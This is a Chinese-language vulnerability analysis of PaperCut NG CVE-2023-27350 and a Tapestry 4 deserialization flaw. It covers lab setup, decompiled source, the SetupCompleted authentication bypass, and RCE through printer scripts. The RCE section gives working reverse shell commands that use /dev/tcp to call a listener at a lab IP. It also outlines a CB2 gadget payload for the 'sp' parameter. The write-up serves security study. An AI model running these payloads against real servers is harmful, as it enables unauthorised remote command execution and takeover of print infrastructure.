CVE-2023-27350
- 未授权+RCE组合拳
环境搭建
环境:ubuntu18.04+papercut22.0.5.63914
软件安装参考:https://www.papercut.com/help/manuals/ng-mf/common/install-linux/
IDEA debug mode调试环境搭建:
ps -ef | grep papercut 查看 执行jar的命令语句
/proc/{pid} & ls -ail查看exec,运行环境目录
/home/papercut/server & find . -iname “*.conf” | xargs grep “Djava.locale.providers=COMPAT”
app-monitor.conf添加上IDEA的debug调试配置,重启服务就完成了
批量反编译jar
- 反编译相关的jar包
- java-decompiler插件下载
"C:\Program Files\Java\jdk-17\bin\java.exe" -cp "C:\Program Files\JetBrains\IntelliJ IDEA 2022.3.1\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true D:\java-audit\server\lib\*.jar D:\java-audit\server\lib_java\
服务经常掉线的情况,看下有没有和服务器连接超时相关的配置,比如timeout啥的
漏洞复现
路由规则
整个路由:反射调用的点,可能会出现框架

通过资料知道,路由的Servlet是tapestry的
org.apache.tapestry.ApplicationServlet,匹配路径是/app
tapestry3路由规则
1
2
3
4
5在 Tapestry 3 中,路由规则是通过页面名称和参数来定义的。Tapestry 3 使用一种基于约定的 URL 映射方式来处理页面请求。
以下是 Tapestry 3 的路由规则的基本原则:
页面名称:每个 Tapestry 3 页面都有一个唯一的名称,通常与其对应的类名相同。例如,HomePage 类对应的页面名称是 "HomePage"。
页面参数:可以在 URL 中传递参数给页面。参数可以是路径参数或查询参数。路径参数是指出现在 URL 路径中的参数,而查询参数是指出现在 URL 查询字符串中的参数。
路由匹配:Tapestry 3 根据请求的 URL 和页面定义的名称和参数进行匹配。匹配成功后,相应的页面将被加载和渲染。
WebEngine类(tapestry中用于处理请求和响应的类,在tapestry.applicaiton中绑定)中定义了解析请求参数中service字段的请求路径解析,通过获取相应service(例如PageService),之后的Dashboard根据网上的资料知道一般会有三个文件定义一个页面,
.html,.page,.java(例如Dashboard.html,Dashboard.page,Dashboard.java),其中html和page的名字是相同的,漏洞定位在SetupCompleted类中,与Dashboard类一样继承了BasePage,它有相应的html、page和java,根据访问Dashboard的方式可以去构造service=page/SetupCompleted访问。

未授权访问后台
漏洞定位的函数biz.papercut.pcng.web.setup.SetupCompleted#formSubmit:
1
2
3
4
5
6
7
8
9public void formSubmit(IRequestCycle cycle) {
SetupData setupData = this.getSetupData();
this.getAnalyticsConfigurationService().setEnabled(this.isAnalyticsEnabled());
this.getAnalyticsConfigurationService().adminNotified();
this.clearSetupData();
Home homePage = (Home)cycle.getPage("Home");
homePage.setJavaScriptEnabled(this.isJavaScriptEnabled());
homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);
}setup安装完时的username为admin,然后重新访问SetupCompleted页面时,getSetupData的adminUserData无论是在重新构造还是之前的setupData都是admin,恰好满足performLogin的执行登录条件。
而performLogin是在login的登录条件判断后才会执行,所以出现了在匿名用户成功执行登陆的情况。
biz.papercut.pcng.web.pages.Home#login:
对比新版本如何修复的?

开发漏洞
打印机脚本RCE
点击打印机-脚本撰写-应用按钮
通过uri可以定位跟踪到biz.papercut.pcng.web.components.PrinterDetailsScript#formSubmit:
- 检测是否开启脚本编写
检测是否关闭沙箱作用域检测
、其中init(safe)StandardObjects的scope用于定于javascript执行对象的作用域,safe中进行安全受限的作用域加载,而initStandardObjects额外加载了java访问的执行环境与js进行互操作,导致可以执行恶意代码。

选项–配置编辑器 启用脚本编写和关闭沙箱作用域检测
构建Runtime执行命令,在执行的过程中,发现构造复杂命令都会报解析异常或者重定向/管道符本身执行不成功,查了资料,是Runtime执行的过程中获取不到linux bash的上下文环境,而
>> |都是bash下才能识别的,需要构造的语句中获取到上下文环境,$@获取bash -c输入的所有变量,0是定义的名称可以随便设定,bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.227.1/8888 0>&1就相当于bash -c echo bash -i >& /dev/tcp/192.168.227.1/8888 0>&1|bash就能成功反弹shell。- jackson runtime exec
"/bin/bash@-c@bash -i >& /dev/tcp/192.168.227.1/8888 0>&1".split("@")- 经常会用的是ProcessBuilder

总结
- 未授权:在用户登录验证后执行登录的函数,去找一下这些函数,是否有其他地方不合法的使用过。
- js环境下的沙箱scope作用域的配置是否正确。
- Runtime类的执行无法直接获取到linux bash|sh的上下文环境,可以通过$@|bash接收所有
bash -c的变量后再执行。
参考链接
- https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/
- https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software
- Runtime获取bash上下文:https://www.anquanke.com/post/id/159554
tapestry4反序列化
环境搭建
maven
could not transfer artifact问题两个点:1>repository不存在,2>访问不了远程maven仓库,我这里是第二个问题
修改maven的settings.xml:
1
2
3
4
5
6<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
<mirrorOf>central</mirrorOf>
</mirror>相关依赖
javax.servlet-api 3.1.0,javax.servlet.jsp-api 2.3.3,tapestry-framework 4.1.6,jdk7web.xml 指定servlet及映射关系
1
2
3
4
5
6
7
8
9<servlet>
<servlet-name>ApplicationServlet</servlet-name>
<servlet-class>org.apache.tapestry.ApplicationServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ApplicationServlet</servlet-name>
<url-pattern>/app</url-pattern>
</servlet-mapping>.html,.page,.java配置Home.html,webapp目录下,tapestry程序入口页面
1
<span jwcid ="@Insert" value ="ognl:demo" />
Home.page,WEB-INF目录下
1
2
3
<page-specification class ="cn.demo.page.Home"></page-specification>!必须加入DOCTYPE,代码里有相应检查,否则报空
Home.class,位置没有要求
1
2
3
4
5public abstract class Home extends BasePage {
public String getDemo() {
return "tapestry demo...";
}
}最后目录结构如下:

路由分析
- 调用的栈:
sink点是org.apache.tapestry.util.io.SerializableAdaptor#unsqueeze
1
2
3
4
5
6
7
8
9
10
11
12
13public Object unsqueeze(DataSqueezer squeezer, String encoded) {
char prefix = encoded.charAt(0);
try {
byte[] mimeData = encoded.substring(1).getBytes();
byte[] decoded = Base64.decodeBase64(mimeData);
InputStream is = new ByteArrayInputStream(decoded);
if (prefix == 'Z') {
is = new GZIPInputStream((InputStream)is);
}
InputStream is = new BufferedInputStream((InputStream)is);
ObjectInputStream ois = new ResolvingObjectInputStream(this._resolver, is);
Object result = ois.readObject();
ois.close();条件是
spbase64的加密值要以Z开头。但需要满足GZIP的构造。org.apache.tapestry.util.io.DataSqueezerImpl#unsqueeze(java.lang.String):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15public Object unsqueeze(String string) {
SqueezeAdaptor adaptor = null;
if (string.equals("X")) {
return null;
} else if (string.length() <= 0) {
return null;
} else {
int offset = string.charAt(0) - 33;
if (offset >= 0 && offset < this._adaptorByPrefix.length) {
adaptor = this._adaptorByPrefix[offset];
}
return adaptor == null ? string : adaptor.unsqueeze(this, string);
}
}这里根据
sp传入的首位字符选择相应的Adaptor,Z或者O:
再回溯有关反序列化的条件就没有了,来到获取
sp参数的函数org.apache.tapestry.services.impl.LinkFactoryImpl#extractListenerParameters:1
2
3
4
5
6
7
8
9
10
11
12public Object[] extractListenerParameters(IRequestCycle cycle) {
String[] squeezed = cycle.getParameters("sp");
if (Tapestry.size(squeezed) == 0) {
return this._empty;
} else {
try {
return this._dataSqueezer.unsqueeze(squeezed);
} catch (Exception var4) {
throw new ApplicationRuntimeException(var4);
}
}
}
有三个Service可以反序列化
sp参数,以DirectService为例。入口由tapestry.ApplicationServlet的service方法进入,调用到org.apache.tapestry.engine.AbstractEngine#service,并提取参数到cycle,调用service
进到DirectService后,在getLink方法中,把参数封装到了
_linkFactory中:
接着在service方法的过程中调用了org.apache.tapestry.services.LinkFactory#extractListenerParameters,获取
sp并且进行反序列化。
通过资料分析,在html的jwcid属性中定义了组件类型,如果是匿名标签,例如jwcid=@form,则通过component=$form访问,可以构造
component=$Form&page=Home&service=direct&sp=xxx
利用链思路
这里就是在满足上述反序列化条件下,因为没有CC的依赖,需要构造CB2的base64的字符串,再在sp参数前拼接上O。